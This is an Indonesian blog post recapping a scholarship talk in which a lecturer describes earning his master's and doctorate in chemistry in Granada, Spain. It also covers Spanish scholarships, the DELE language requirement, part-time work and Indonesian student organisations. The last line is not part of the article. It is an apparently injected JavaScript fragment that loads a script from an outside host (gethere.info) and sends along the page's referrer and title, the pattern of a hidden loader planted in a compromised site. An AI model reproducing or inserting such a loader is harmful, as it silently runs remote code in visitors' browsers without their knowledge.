Schotalk#2 Sahabat Beasiswa Chapter Bandung

IMG-20150929-WA0012

 

 

 

 

 

 

 

 

 

Schotalk#2 SB Bandung

Brace Yourself and Get Ready to Study in Spain

Mengenal kehidupan, organisasi, dan perkuliahan di Spanyol

 

Pembicara       : Dr. Ihsan Iswaldi, M.Si, M.Sc

  • S2 dan S3 Kimia di Universidad de Granada Spanyol
  • Dosen Prodi Teknologi Pangan Surya University

 

Hallo Mahasiswa Indonesia. Sahabat Beasiswa Chapter Bandung kembali lagi membawa pembawa pembicara yang jauh dari benua Eropa loh tepatnya di Negara Spanyol . Penasaran kan ? cek this out..

Sebelum kita mengetahui bagaimana kuliah di Spanyol, kita simak dulu pengalaman hidup dari kang Ihsan yang mengisnpirasi kita untuk kuliah disana.. J

 

Pada awalnya saya tertarik untuk studi lanjut di Jepang dan Jerman. Buku2 dan informasi seputar kuliah di negara itu sudah saya kumpulkan. Termasuk menghubungi kedutaannya di Jakarta. Akhir thn 2007 saya berkesempatan internship selama 3 bln di perusahaan farmasi Spanyol yaitu PharmaMar yang berpusat di Madrid. Sejak itu saya berubah arah untuk kuliah di Spanyol disamping karena dosen-dosen saya pada waktu itu belum ada yang tamatan Spanyol. Ini karena pada waktu itu Spanyol bukan merupakan tujuan utama studi mahasiswa Indonesia. Karenanya, selama internship saya mandapatkan untuk mencari Prof di Spanyol dan akhirnya bertemulah dg Prof dari Uni Granada yg merupakan teman baik dan berasal dari desa yg sama dg supervisor internship saya.

 

Setelah kembali ke Indonesia, beasiswa Dikti sedang dibuka dan akhirnya saya kirimkan aplikasi beasiswa dikti. Lulus seleksi administrasi beasiswa dilanjutlan dg wawancara. Pewawancara ketika itu ternyata teman baik pembimbing S1 saya yang dulu sama-sama kuliah di Jepang. Alhamdulillah lulus. Tgl 2 Sept 2008 berangkat degan total 16 jam perjalanan dan pesawat pun mendarat mulus di dataran Eropa. Ya Eropa, Karena sblmnya sdh pernah ke Madrid, jadi ga ada siapa-siapa yang jemput d bandara *sedihnya. Dari Madrid perjalanan dilanjutkan dengan 5 jam perjalan bus ke Granada, baru di stasiun bus Granada dijemput oleh co supervisor dan di antar ke hostel. Esok harinya langsung ke kampus dan menemui Prof. Hari2 pertama memang masa-masa penyesuaian.

 

Perkuliahan pun dimulai, Sebenrny saya dapat beasiswa s3. Namun Prof di sini meminta saya dan teman-teman lainnya untuk ambil s2 lagi krn s2nya penuh dengan kelas/ by course. Kata Prof ini agar saya merasakan atmosfer kuliah di Spanyol, latihan bhs Spanyol dsb. Berhubung karena saya tidak ada persiapan bahasa Spanyol di Indonesia, beberapa bulan di awal adalah masa-masa sulit karena perkuliahan disampaikan dengan bahasa Spanyol. Tp saya diperbolehkan untuk bertanya atau berbicra dalam bahasa Inggris.

 

Kuliah s2 saya jalani dalam waktu 1 thn 3 bulan. 17 Desember 2009 saya ujian master. Dan Januari sdh masuk s3, S3 full research. Saya habiskan waktu 2 thn 7 bln. Tgl 16 juli 2012 ujian doktor dan Alhamdulillah lulus. Tgl 20 Agutus balik ke Indonesia. Pesawat yang saya tumpangi mendarat dengan mulus di Soekarno Hatta International Airport. Alhamdulillah janji sudah saya tunaikan untuk balik ke Indonesia dengan gelar doktor.

 

Subhanallah, sungguh menginspirasi kisah kang Ihsan dalam menuntut ilmu di negeri Spanyol ini J

 

Apa saja beasiswa dari Negara Spanyol ? Sebelumnya ada beasiswa Becas MAEC-AECID. Untuk info lebih lanjut bisa di cek di websitenya. Lalu ada beassiswa Erasmus Mundus yang perkuliahnnya di Spanyol atau beasiswa dari Indonesia untuk kuliah s2 bisa 1-2 thn tergantung programnya.

Dalam kehidupan disana sehari-hari maupun perkuliahan menggunakan bahasa Spanyol, jarang orang spanyol menggunakan bahasa inggris kecuali dalam kelas internasional, utupun hanya beberapa. Jadi sekarang ada persyaratan sertifikat bahasa Spanyol seperti DELE. Kesulitan hidup di Spanyol selain masalah bahasa ada juga masalah gaya hidup yang rata-rata setiap minggu selalu mengadakan party. Kalau ingin bekerja part time seperti di café, restoran, took, dll di luar negeri diharapkan menyampaikan kepada pembimbing karena ada beberapa pembimbing yang melarang mahasiswanya bekerja part time.

Dalam menuntut ilmu, organisasi cukup penting karena dalam organisasi kita belajar pengaplikasian ilmu yang kita dapatkan di perkuliahan, untuk mahasiswa luar negeri rekomendasi organisasi yang biasanya diikuti oleh pelajar Indonesia di luar negeri yaitu Perhimpunan Pelajar Indonesia (PPI) di Negara masing-masing seperti PPI Spanyol, PPI Jerman, dll. Pada tahun 2009 di Den Haag PPI Dunia juga mendeklarasikan berdirinya I4, Ikatan Ilmuwan Indonesia Internasional. Lalu ada MITI klaster mahasiswa, dll.

 

Sekian. Semoga Bermanfaat. Salam.

So guys, are you ready to study in Spain? Let’s prepare and take an action right now !

 

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;